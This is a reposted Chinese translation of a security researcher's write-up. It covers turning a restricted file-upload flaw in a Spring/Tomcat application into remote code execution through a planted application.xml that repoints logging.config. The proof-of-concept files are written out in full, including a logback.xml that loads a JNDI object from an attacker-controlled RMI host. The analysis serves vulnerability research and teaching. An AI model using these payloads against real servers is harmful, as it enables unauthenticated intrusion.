Spring Properties 远程代码执行

admin 2024年12月9日14:36:26评论26 views字数 8607阅读28分41秒阅读模式

Remote Code Execution with Spring Properties

Spring Properties 远程代码执行

最近,一位以前的学生向我展示了一个非常有趣的 Spring 应用程序中的未经身份验证的漏洞,他们在利用这个漏洞时遇到了困难。上周末我抽时间研究了这个问题,并找到了一个相对简洁的解决方案,尽管我更希望能找到一个更通用的方案来利用这个向量攻击 Spring 应用程序。让我们一起深入了解一下,好吗?

漏洞详情

由于这不是我发现的漏洞,而且目前还未修复,我只能分享一段模拟代码,但漏洞看起来是这样的:

/*  152 */             MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest)request;/*  153 */             MultipartFile multipart = multipartRequest.getFile("file");/*  154 */             String fileName = multipart.getOriginalFilename(); // 1/*  155 */             String fileExtension = FilenameUtils.getExtension(fileName); // 2/*  156 */             if (!supportContentType(fileExtension)) { // 3/*  157 */               throw new Exception("blah");/*      */             }/*  159 */             File file = new File(fileName);/*  160 */             multipart.transferTo(file); // 4

supportContentType 调用会检查文件名是否包含以下扩展名之一:

/* 95 */publicstaticList<String> fexts = Arrays.asList(newString[] { "gif", "jpeg", "jpg", "png", "swf", "bmp", "asf", "avi", "mpeg", "mpg", "ts", "trp", "m2v", "m2p", "mp4", "m1v", "m4v", "m4t", "vob", "m2t", "tsp", "mov", "asx", "wmv", "tp", "doc", "docx", "ppt", "pptx", "xls", "xlsx", "htm", "html", "pps", "ppsx", "pdf", "mp3", "ogg", "wav", "wma", "mp2", "ac3", "pcm", "lpcm", "flv", "wmf", "emf", "tif", "tiff", "mid", "mkv", "ra", "rm", "ram", "rmvb", "3gp", "svi", "m2ts", "divx", "mts", "vro", "zip", "xml", "wgt", "aisr" });

如果扩展名不在[3]处的允许列表中,代码将抛出异常。但是,如果扩展名在允许列表中,那么代码将继续在[4]处写入上传的文件。在[1]处代码仅获取文件名,所以我们不能在这里使用目录遍历。此外,没有给定路径,这意味着默认情况下,服务将写入 tomcat 服务器的基本目录:C:[redacted]tomcatbin

利用方法

受到一位好朋友的启发,他利用了一个受限的文件写入漏洞实现了未经身份验证的远程代码执行,我准备深入研究。由于我从未真正利用过与文件上传相关的如此严格的限制,我很好奇该如何处理这类漏洞。表面上看,这似乎无法利用,因为我们只有有限的文件写入权限。我们无法控制写入位置,而且我们有一个看似不太有趣的扩展名允许列表...或者说它们真的不有趣吗?

对我来说,最引人注目的两个扩展名是.zip.xml。Tomcat 非常喜欢处理xml文件,让我们先试试这个。在研究了一会儿tomcat9.exe进程后,我注意到它试图加载一个不存在的文件:application.xml

Spring Properties 远程代码执行

当我在目录中放置一个无效的xml文件时,我看到了一个堆栈跟踪,显示它正在使用ConfigFileApplicationListener类加载该文件。根据这篇博客文章,监听器会按以下顺序尝试从以下扩展名加载应用程序配置文件:

  • properties
  • xml
  • yml
  • yaml

这与我在 Process Monitor 中看到的完全匹配。有趣的是,xml扩展名几乎没有文档记载,但快速搜索 Google 会找到官方 Spring通用应用程序属性文档。有几个属性,但很快引起我注意的是logging.config。这个属性由org.springframework.boot.context.logging.LoggingApplicationListener类使用。研究这个类,我们发现以下代码:

/*     */   public void onApplicationEvent(ApplicationEvent event) {/* 219 */     if (event instanceof ApplicationStartingEvent) {/* 220 */       onApplicationStartingEvent((ApplicationStartingEvent)event);/*     */     }/* 222 */     else if (event instanceof ApplicationEnvironmentPreparedEvent) {/* 223 */       onApplicationEnvironmentPreparedEvent((ApplicationEnvironmentPreparedEvent)event); // 1/*     */     }/* 225 */     else if (event instanceof ApplicationPreparedEvent) {/* 226 */       onApplicationPreparedEvent((ApplicationPreparedEvent)event);/*     */     }/* 228 */     else if (event instanceof ContextClosedEvent && ((ContextClosedEvent)event)/* 229 */       .getApplicationContext().getParent() == null) {/* 230 */       onContextClosedEvent();/*     */     }/* 232 */     else if (event instanceof org.springframework.boot.context.event.ApplicationFailedEvent) {/* 233 */       onApplicationFailedEvent();/*     */     }/*     */   }

At [1] the onApplicationEvent calls the onApplicationEnvironmentPreparedEvent method:

/*     */privatevoidonApplicationEnvironmentPreparedEvent(ApplicationEnvironmentPreparedEvent event) {/* 243 */if (this.loggingSystem == null) {/* 244 */this.loggingSystem = LoggingSystem.get(event.getSpringApplication().getClassLoader());/*     */     }/* 246 */     initialize(event.getEnvironment(),  event.getSpringApplication().getClassLoader()); // 2/*     */   }

At [2] the initialize method is called with the environment as the first argument:

/*     */protected void initialize(ConfigurableEnvironment environment, ClassLoader classLoader) {/* 281 */     (new LoggingSystemProperties(environment)).apply();/* 282 */this.logFile = LogFile.get(environment);/* 283 */if (this.logFile != null) {/* 284 */this.logFile.applyToSystemProperties();/*     */     }/* 286 */this.loggerGroups = new LoggerGroups(DEFAULT_GROUP_LOGGERS);/* 287 */     initializeEarlyLoggingLevel(environment);/* 288 */     initializeSystem(environment, this.loggingSystem, this.logFile); // 3/* 289 */     initializeFinalLoggingLevels(environment, this.loggingSystem);/* 290 */     registerShutdownHookIfNecessary(environment, this.loggingSystem);/*     */   }

在[3]处调用了initializeSystem方法并传入了 environment 参数。请记住,通过当前的漏洞,我们可以在 environment 中设置属性。这使我们能够通过logging.config属性来控制日志配置。

/*     */   private void initializeSystem(ConfigurableEnvironment environment, LoggingSystem system, LogFile logFile) {/* 310 */     LoggingInitializationContext initializationContext = new LoggingInitializationContext(environment);/* 311 */     String logConfig = environment.getProperty("logging.config"); // 4/* 312 */     if (ignoreLogConfig(logConfig)) {/* 313 */       system.initialize(initializationContext, null, logFile);/*     */     } else {/*     *//*     */       try {/* 317 */         ResourceUtils.getURL(logConfig).openStream().close();/* 318 */         system.initialize(initializationContext, logConfig, logFile); // 5/*     */       }/* 320 */       catch (Exception ex) {/*     *//* 322 */         System.err.println("Logging system failed to initialize using configuration from '" + logConfig + "'");/* 323 */         ex.printStackTrace(System.err);/* 324 */         throw new IllegalStateException(ex);/*     */       }/*     */     }/*     */   }

在[4]处,代码会从环境中获取logging.config属性,并在[5]处将其解析后传递给org.springframework.boot.logging.logback.LogbackLoggingSystem类的initialize方法。

/*     */publicvoidinitialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {/* 109 */LoggerContext loggerContext = getLoggerContext();/* 110 */if (isAlreadyInitialized(loggerContext)) {/*     */return;/*     */     }/* 113 */super.initialize(initializationContext, configLocation, logFile); // 6/* 114 */     loggerContext.getTurboFilterList().remove(FILTER);/* 115 */     markAsInitialized(loggerContext);/* 116 */     if (StringUtils.hasText(System.getProperty("logback.configurationFile"))) {/* 117 */       getLogger(LogbackLoggingSystem.class.getName()).warn("Ignoring 'logback.configurationFile' system property. Please use 'logging.config' instead.");/*     */     }/*     */   }

在[6]处,代码将使用攻击者可控的属性调用super.initialize。这个调用将流向父类:org.springframework.boot.logging.AbstractLoggingSystem

/*     */   public void initialize(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {/*  55 */     if (StringUtils.hasLength(configLocation)) {/*  56 */       initializeWithSpecificConfig(initializationContext, configLocation, logFile); // 7/*     */       return;/*     */     }/*  59 */     initializeWithConventions(initializationContext, logFile);/*     */   }/*     */   private void initializeWithSpecificConfig(LoggingInitializationContext initializationContext, String configLocation, LogFile logFile) {/*  64 */     configLocation = SystemPropertyUtils.resolvePlaceholders(configLocation);/*  65 */     loadConfiguration(initializationContext, configLocation, logFile); // 8/*     */   }

在[7]处,程序流程继续到initializeWithSpecificConfig,然后在[8]处到达loadConfiguration。由于loadConfiguration在父类中没有定义,因此流程会回到子类org.springframework.boot.logging.logback.LogbackLoggingSystem中:

/*     */   protected void loadConfiguration(LoggingInitializationContext initializationContext, String location, LogFile logFile) {/* 136 */     super.loadConfiguration(initializationContext, location, logFile);/* 137 */     LoggerContext loggerContext = getLoggerContext();/* 138 */     stopAndReset(loggerContext);/*     */     try {/* 140 */       configureByResourceUrl(initializationContext, loggerContext, ResourceUtils.getURL(location)); // 9/*     */     }/* 142 */     catch (Exception ex) {/* 143 */       throw new IllegalStateException("Could not initialize Logback logging from " + location, ex);/*     */     }/* 145 */     List<Status> statuses = loggerContext.getStatusManager().getCopyOfStatusList();/* 146 */     StringBuilder errors = new StringBuilder();/* 147 */     for (Status status : statuses) {/* 148 */       if (status.getLevel() == 2) {/* 149 */         errors.append((errors.length() > 0) ? String.format("%n", new Object[0]) : "");/* 150 */         errors.append(status.toString());/*     */       }/*     */     }/* 153 */     if (errors.length() > 0) {/* 154 */       throw new IllegalStateException(String.format("Logback configuration error detected: %n%s", new Object[] { errors }));/*     */     }/*     */   }/*     *//*     *//*     */   private void configureByResourceUrl(LoggingInitializationContext initializationContext, LoggerContext loggerContext, URL url) throws JoranException {/* 160 */     if (url.toString().endsWith("xml")) {/* 161 */       JoranConfigurator configurator = new SpringBootJoranConfigurator(initializationContext);/* 162 */       configurator.setContext(loggerContext);/* 163 */       configurator.doConfigure(url); // 10/*     */     } else {/*     *//* 166 */       (new ContextInitializer(loggerContext)).configureByResource(url);/*     */     }/*     */   }

跟踪由攻击者控制的location参数的流程,我们可以看到在[9]处它被转换为URL后到达configureByResourceUrl方法。最后在[10]处,我们可以看到著名的JoranConfigurator被初始化,并最终调用了doConfigure方法。

参加过我的课程的人可能都知道接下来会发生什么。我们可以使用logback.xml URL 来重新配置 log-back 库。最终的概念验证application.xml文件内容如下:

<!DOCTYPE propertiesSYSTEM"http://java.sun.com/dtd/properties.dtd"><properties><entrykey="logging.config">http://[attacker]:[port]/logback.xml</entry></properties>

对应的 log-back 文件内容对某些人来说可能比较熟悉:

<configuration><insertFromJNDIenv-entry-name="rmi://[attacker]:1099/Object"as="appName" /></configuration>

在这里,天时地利人和都已具备,我们找到了一种方法可以通过暴露的 REST API 远程重启服务器,当然ELProcessor也包含在类路径中。结果如下:

Spring Properties 远程代码执行

总结思考

这里可能还有许多其他获得远程代码执行的方法,比如定义日志文件路径和其他攻击向量。我没有太多时间深入研究这个问题,就采用了第一个可行的方法。我鼓励其他研究人员深入研究 Spring 框架,寻找使用环境属性的其他监听器,发现更多的利用向量!还有其他使用 log-back 进行代码注入的方式,比如 JDBC(课堂上讲授的)以及直接(滥用)反序列化器。不过这就留给读者去研究了。

参考文献

  • https://juejin.cn/post/6972564484720328718

原文始发于微信公众号(securitainment):Spring Properties 远程代码执行

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月9日14:36:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Properties 远程代码执行https://cn-sec.com/archives/3480473.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息